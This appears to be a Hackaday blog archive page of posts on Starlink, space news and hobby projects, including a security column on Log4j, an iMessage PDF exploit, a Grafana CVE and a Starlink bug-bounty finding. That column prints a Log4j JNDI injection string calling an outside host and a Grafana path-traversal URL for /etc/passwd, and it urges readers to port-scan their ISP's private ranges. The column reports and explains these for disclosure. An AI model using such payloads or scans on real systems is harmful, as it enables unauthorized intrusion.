Hackaday Links Column Banner

Hackaday Links: February 13, 2022

If you need evidence that our outwardly peaceful little neck of the solar system is actually a dangerous place, look no further than the 40 newly launched Starlink satellites that were just clobbered out of orbit. It seems that the SpaceX launch on February 3 was ill-timed, as it coincided with the arrival of energetic plasma from a solar storm that occurred a few days before. The coronal mass ejection followed an M-class flare on the Sun, which was aimed just right to hit just as the 49-satellite addition to the Starlink constellation was being released. This resulted in an expansion of the upper atmosphere sufficient to increase drag on the newborn satellites — up to 50% more drag than previous launches had encountered. Operators put the satellites into safe mode, but it appears that 40 of them have already met a fiery demise, or soon will. Space is a tough place to make a living.

Continue reading “Hackaday Links: February 13, 2022”

Hackaday Links Column Banner

Hackaday Links: January 23, 2022

When Tonga’s Hunga-Tonga Hunga-Ha’apai volcano erupted on January 15, one hacker in the UK knew just what to do. Sandy Macdonald from York quickly cobbled together a Raspberry Pi and a pressure/humidity sensor board and added a little code to create a recording barometer. The idea was to see if the shock wave from the eruption would be detectable over 16,000 km away — and surprise, surprise, it was! It took more than 14 hours to reach Sandy’s impromptu recording station, but the data clearly show a rapid pulse of increasing pressure as the shockwave approached, and a decreased pressure as it passed. What’s more, the shock wave that traveled the “other way” around the planet was detectable too, about seven hours after the first event. In fact, data gathered through the 19th clearly show three full passes of the shockwaves. We just find this fascinating, and applaud Sandy for the presence of mind to throw this together when news of the eruption came out.

Good news for professional astronomers and others with eyes turned skyward — it seems like the ever-expanding Starlink satellite constellation isn’t going to kill ground-based observation. At least that’s the conclusion of a team using the Zwicky Transient Facility (ZTF) at the Palomar Observatory outside San Diego. ZTF is designed to catalog anything that blinks, flashes, or explodes in the night sky, making it perfect to detect the streaks from the 1,800-odd Starlink satellites currently in orbit. They analyzed the number of satellite transients captured in ZTF images, and found that fully 20 percent of images show streaks now, as opposed to 0.5 percent back in 2019 when the constellation was much smaller. They conclude that at the 10,000 satellite full build-out, essentially every ZTF image will have a streak in it, but since the artifacts are tiny and well-characterized, they really won’t hinder the science to any appreciable degree.

Speaking of space, we finally have a bit of insight into the causes of space anemia. The 10% to 12% decrease in red blood cells in astronauts during their first ten days in space has been well known since the dawn of the Space Age, but the causes had never really been clear. It was assumed that the anemia was a result of the shifting of fluids in microgravity, but nobody really knew for sure until doing a six-month study on fourteen ISS astronauts. They used exhaled carbon monoxide as a proxy for the destruction of red blood cells (RBCs) — one molecule of CO is liberated for each hemoglobin molecule that’s destroyed — and found that the destruction of RBCs is a primary effect of being in space. Luckily, there appears to be a limit to how many RBCs are lost in space, so the astronauts didn’t suffer from complications of severe anemia while in space. Once they came back to gravity, the anemia reversed, albeit slowly and with up to a year of measurable changes to their blood.

From the “Better Late Than Never” department, we see that this week that Wired finally featured Hackaday Superfriend Sam Zeloof and his homemade integrated circuits. We’re glad to see Sam get coverage — the story was also picked up by Ars Technica — but it’s clear that nobody at either outfit reads Hackaday, since we’ve been featuring Sam since we first heard about his garage fab in 2017. That was back when Sam was still “just” making transistors; since then, we’ve featured some of his lab upgrades, watched him delve into electron beam lithography, and broke the story on his first legit integrated circuit. Along the way, we managed to coax him out to Supercon in 2019 where he gave both a talk and an interview.

And finally, if you’re in the mood for a contest, why not check out WIZNet’s Ethernet HAT contest? The idea is to explore what a Raspberry Pi Pico with Ethernet attached is good for. WIZNet has two flavors of board: one is an Ethernet HAT for the Pico, while the other is as RP2040 with built-in Ethernet. The good news is, if you submit an idea, they’ll send you a board for free. We love it when someone from the Hackaday community wins a contest, so if you enter, be sure to let us know. And hurry — submissions close January 31.

Hackaday Links Column Banner

Hackaday Links: January 9, 2022

It looks like we have a new space observatory! According to NASA, all the major deployments on the James Webb Space Telescope have been completed successfully. This includes the tricky sunshield deployment and tensioning, which went off this week without much in the way of trouble. The final major deployment, the unfolding of the starboard wing of the primary mirror of the telescope, was completed on Saturday while the spacecraft was still almost 400,000 km from its forever home orbiting Lagrange point L2. Mission controllers had allotted two weeks for the 300-odd deployments needed to turn the packaged machine into a working observatory. The remaining two weeks or so of flight include less dramatic tasks, such as trimming the shape of the primary mirror with servos that subtly alter the position and curvature of each of the 18 segments, plus a bunch of calibration tasks. But it looks like most of the really scary stuff is behind us now.

From the “Interesting Innards” department, if you’re a fan of either gaming or industrial CT scans, check out Scan of the Month’s look inside Nintendo handheld game consoles. They’ve put a bunch of games through computed tomography scans, and the results are really interesting, false-colored though they may be. Seeing the progression of technology from the original 1989 Game Boy to the Switch is fascinating. The side notes on the history and tech inside each one are pretty cool too.

A couple of weeks ago we mentioned Andrew Sink’s online low-poly generator, which takes any 3D model and allows you to control the number of polygons used to render it. He dropped us a line to let us know the tool proved popular enough that he had to move it off GitHub and onto a dedicated site. Check it out at its new home.

When something like this pops up in your feed, it seems like the best approach is to share it. It’s called DentalSlim, and claims to be the first intra-oral device designed for weight loss. It’s a hardware lock for your teeth, and it looks perfectly horrifying. The device is designed to be applied by a sadist dentist and effectively locks the lower jaw to the upper with magnets, allowing the wearer to open his or her mouth only enough to take a liquid diet. There’s also a provision for the wearer to unlock the device in an emergency, which is wise — can you imagine catching a stomach bug with your jaw locked shut? — but that seems to defeat the “hardware-enforced willpower” that the device is based on.

Have you got a bunch of filament spools lying around from all that 3D printing? Rather than put them to use rolling up strings of lights from the Christmas tree, here’s another idea: turn them into nice covered bird feeders. All you need to do is apply a rim around one side to hold the seed before hanging them out for the birds. We suppose walling off the space between the sides completely and drilling some holes could also turn them into birdhouses, too.

And finally, if your filament spool bird feeder isn’t attracting the attention of the neighborhood cats, perhaps it’s because they’ve found a nice, cozy spot to soak up some heat. At least that’s what some Starlink users are seeing as their feline friends cuddle up on Dishy McFlatface for a long winter’s nap. You see, the phased array antenna inside the enclosure gets pretty toasty, and cats are pretty much any-port-in-a-storm critters, so it’s only natural. We can’t imagine their choice of basking locale does much for data throughput, and it’s probably quite a laugh when the dish pivots to track a satellite. But it’s hard to feel sorry for something that sleeps 23-½ hours a day.

This Week In Security: Log4j, PDF CPU, And I Hacked Starlink

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.Starlink's debug output Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

Detect Starlink Satellites Passing By

The Starlink beta has semi-officially ended, but it seems as though the global chip shortage is still limiting how many satellites are flying around the world for broadband internet access for those that might not be served by traditional ISPs. Not every location around the world has coverage even if you can get signed up, so to check that status the hard way you can always build a special antenna that tracks the Starlink beacons as they pass overhead.

[Derek] is using this project to show of some of his software-defined radio skills, so this will require an SDR that can receive in the 1600 MHz range. It also requires a power injector to power the satellite receiver, but these are common enough since they are used to power TV antennas. The signals coming from the Starlink satellites have a very high signal-to-noise ratio so [Derek] didn’t even need a dish to focus the signals. This also helped because the antenna he is using was able to see a much wider area as a result. Once everything was set up and the computer was monitoring the correct location in the spectrum, he was able to see very clearly how often a satellite passed him by.

Of course, [Derek] lives in an area with excellent coverage so this might be a little more difficult for those in rural areas, but possibly not for long as the goal of Starlink is to bring broadband to people who otherwise wouldn’t have access to it. There is some issue with how much these satellites might interfere with other astronomical activities though, so take that with a grain of salt.

Thanks to [Spritle] for the tip!

Christian Hahn Starlink capture showing guard region.

Analyzing Starlink Satellite Downlink Communications With Software Defined Radio

Often, mere curiosity is sufficient to do something. This is also the case with people trying to analyze the communication setup and protocol which SpaceX is using with their Ku-band based Starlink satellites.  One of these fine folk is [Christian Hahn], who has recently posted some early findings to r/StarlinkEngineering over at Reddit. Some of the captured data seems to include the satellite ID system that ground-based user stations would presumably use to keep track of overhead Starlink satellites.

For the capturing itself, [Christian] is using a second-hand dish for capture and a DIY SDR using KC705 FPGA-based hardware – which may have begun its life as crypto mining hardware – along with the usual assortment of filters and other common components with this kind of capture. Even at this early time, some features of the Starlink protocol seem quite obvious, such as the division into channels and the use of guard periods. Nothing too earth-shattering, but as a fun SDR hobby it definitely checks all the boxes.

[Christian] has also announced that at some point he’ll set up a website and publish the findings and code that should make Starlink signal analysis easy for anyone with a readily available SDR receiver.

 

Hackaday Links Column Banner

Hackaday Links: November 7, 2021

More trouble for Hubble this week as the space observatory’s scientific instruments package entered safe mode again. The problems started back on October 25, when the Scientific Instrument Command and Data Handling Unit, or SI C&DH, detect a lack of synchronization messages from the scientific instruments — basically, the cameras and spectrometers that sit at the focus of the telescope. The issue appears to be different from the “payload computer glitch” that was so widely reported back in the summer, but does seem to involve hardware on the SI C&DH. Mission controller took an interesting approach to diagnosing the problem: the dusted off the NICMOS, or Near Infrared Camera and Multi-Object Spectrometer, an instrument that hasn’t been used since 1998. Putting NICMOS back into the loop allowed them to test for loss of synchronization messages without risking the other active instruments. In true hacker fashion, it looks like the fix will be to change the software to deal with the loss of sync messages. We’ll keep you posted.

What happened to the good old days, when truck hijackings were for things like cigarettes and booze? Now it’s graphics cards, at least according to a forum post that announced the theft of a shipment of EVGA GeForce RTX 30-series graphics cards from a delivery truck. The truck was moving the cards from San Francisco to the company’s southern California distribution center. No word as to the modus operandi of the thieves, so it’s not clear if the whole truck was stolen or if the cards “fell off the back.” Either way, EVGA took pains to note that receiving stolen goods is a crime under California law, and that warranties for the stolen cards will not be honored. Given the purpose these cards will likely be used for, we doubt that either of these facts matters much to the thieves.

Remember “Jet Pack Man”? We sure do, from a series of reports by pilots approaching Los Angeles International airport stretching back into 2020 and popping up occasionally. The reports were all similar — an object approximately the size and shape of a human, floating aloft near LAX. Sightings persisted, investigations were launched, but nobody appeared to know where Jet Pack Man came from or what he was flying. But now it appears that the Los Angeles Police may have identified the culprit: one Jack Skellington, whose street name is the Pumpkin King. Or at least a helium balloon version of the gangly creature, which is sure what an LAPD helicopter seems to have captured on video. But color us skeptical here; after all, they spotted the Halloween-themed balloon around the holiday, and it’s pretty easy to imagine that the hapless hero of Halloween Town floated away from someone’s front porch. More to the point, video that was captured at the end of 2020 doesn’t look anything like a Skellington balloon. So much for “case closed.”

Speaking of balloons, here’s perhaps a more productive use for them — lifting a solar observatory up above most of the atmosphere. The Sunrise Solar Observatory is designed to be lifted to about 37 km by a balloon, far enough above the Earth’s ozone layer to allow detailed observation of the Sun’s corona and lower atmosphere down into the UV range of the spectrum. Sunrise has already flown two successful missions in 2009 and 2013 which have netted over 100 scientific papers. The telescope has a one-meter aperture and automatic alignment and stabilization systems to keep it pointed the right way. Sunrise III is scheduled to launch in June 2022, and aims to study the flow of material in the solar atmosphere with an eye to understanding the nature of the Sun’s magnetic field.

And finally, what a difference a few feet can make. Some future Starlink customers are fuming after updating the location on their request for service, only to find the estimated delivery date pushed back a couple of years. Signing up for Starlink satellite service entails dropping a pin on a map to indicate your intended service location, but when Starlink put a new, more precise mapping app on the site, some eager pre-order customers updated their location to more accurately reflect where the dish will be installed. It’s not clear if the actual location of the dish is causing the change in the delivery date, or if just the act of updating an order places you at the bottom of the queue. But the lesson here may be that with geolocation, close enough is close enough.